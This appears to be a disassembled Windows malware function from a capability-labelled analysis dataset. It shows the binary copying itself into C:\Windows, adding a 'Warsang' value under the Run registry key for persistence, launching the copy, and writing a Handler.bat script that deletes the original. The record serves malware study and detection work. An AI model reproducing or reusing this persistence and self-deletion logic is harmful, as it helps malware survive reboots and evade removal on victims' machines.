Function at 0x14005ae90
Capabilities:
Copy file
Create process on windows
Get common file path
Persist via run registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
mov rax, qword [0x1400e8180]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
mov r8d, 0x7f
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], r15b
lea r8d, [r15 + 0xb]
lea rdx, str.C:Windows_
lea rcx, [rbp - 0x68]
call fcn.1400218a0
mov rcx, qword [0x1400e91f0]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 4
jb 0x14005b5d6
lea rsi, [0x1400e91e0]
mov r9, rsi
cmp qword [0x1400e91f8], 0x10
cmovae r9, qword [0x1400e91e0]
mov qword [rsp + 0x30], 4
lea rax, str..exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rsi
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.14002d660
nop
lea r8, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae r8, qword [rbp - 0x68]
mov edx, 0x104
lea rcx, [rbp + 0x170]
call fcn.14009a15c
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rdx, qword [rbp - 0x48]
lea rcx, [rbp + 0x170]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
lea rdx, [rbp + 0x390]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x14005b522
lea r8, [rbp + 0x390]
mov edx, 0x104
lea rcx, [rbp + 0x280]
call fcn.14009a15c
lea rdx, str.Handler.bat
lea rcx, [rbp + 0x280]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xor r8d, r8d
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x14005b522
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], 0xf
lea rax, [rbp + 0x170]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14005b064
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x78]
call fcn.1400218a0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov r8, rbx
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x14005b0b0
lea rcx, [rsp + 0x48]
call fcn.1400218a0
lea rcx, [rsp + 0x48]
call fcn.1400636f0
lea rdi, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdi, qword [rsp + 0x78]
mov qword [rsp + 0x70], r15
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14005b14a
mov rax, rbx
inc rax
cmp byte [rdi + rax], 0
jne 0x14005b111
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, str.Warsang
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14005b186
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b181
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b5dc
call fcn.140080f50
cmp qword [0x1400e91f8], 0x10
cmovae rsi, qword [0x1400e91e0]
mov rdx, rsi
lea rcx, [rbp + 0x170]
call fcn.14005a9a0
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
lea rax, [rbp + 0xf0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14005b1c2
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x48]
call fcn.1400218a0
lea rcx, [rbp + 0x170]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x14005b1e7
lea rcx, [rsp + 0x48]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x60]
cmp rsi, 0x10
cmovae rcx, rdi
mov r8, qword [rsp + 0x58]
cmp r8, rax
jne 0x14005b226
lea rdx, [rbp + 0x170]
call fcn.140088400
test eax, eax
jne 0x14005b226
xor r14b, r14b
jmp 0x14005b229
mov r14b, 1
cmp rsi, 0x10
jb 0x14005b260
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14005b258
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b5e2
mov rcx, rdi
call fcn.140080f50
test r14b, r14b
je 0x14005b522
xor r8d, r8d
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rcx, qword [0x1400ede88]
test rcx, rcx
je 0x14005b292
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x170]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp byte [0x1400edda9], 0
je 0x14005b522
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
lea rax, [rbp + 0x280]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x14005b2e2
lea rdx, [rbp + 0x280]
lea rcx, [rsp + 0x78]
call fcn.1400218a0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x20]
call fcn.140088260
mov esi, 2
mov r8d, esi
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x20]
call fcn.14001ce80
nop
lea rdx, str._echo_off_n
lea rcx, [rbp - 0x20]
call fcn.140026050
lea rdx, str.del
lea rcx, [rbp - 0x20]
call fcn.140026050
mov rdi, rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0xf0]
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14005b370
mov r8, rbx
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x48]
call fcn.1400218a0
nop
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x58]
mov rcx, rdi
call fcn.14002fa00
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14005b3ea
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b3e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b5e8
call fcn.140080f50
lea rdx, str._ndel
lea rcx, [rbp - 0x20]
call fcn.140026050
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
mov rcx, rax
call fcn.14002fa00
lea rcx, [rbp - 0x18]
call fcn.140020d50
test rax, rax
jne 0x14005b44b
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x20]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, esi
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140003a40
lea r8, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae r8, qword [rsp + 0x78]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x24], edx
lea rcx, [rbp - 0x18]
call fcn.14001db60
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x20], rax
mov rax, qword [rbp - 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 0x24], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x88]
call fcn.1400838c0
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14005b522
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b51c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b5ee
call fcn.140080f50
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14005b55d
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b558
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b5f4
call fcn.140080f50
mov qword [rbp - 0x38], r15
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14005b5a4
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005b59f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005b5d0
call fcn.140080f50
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.140080f30
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400996b0
nop
call fcn.140002cb0
nop
call fcn.1400996b0
int3
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
nop
call fcn.1400996b0
int3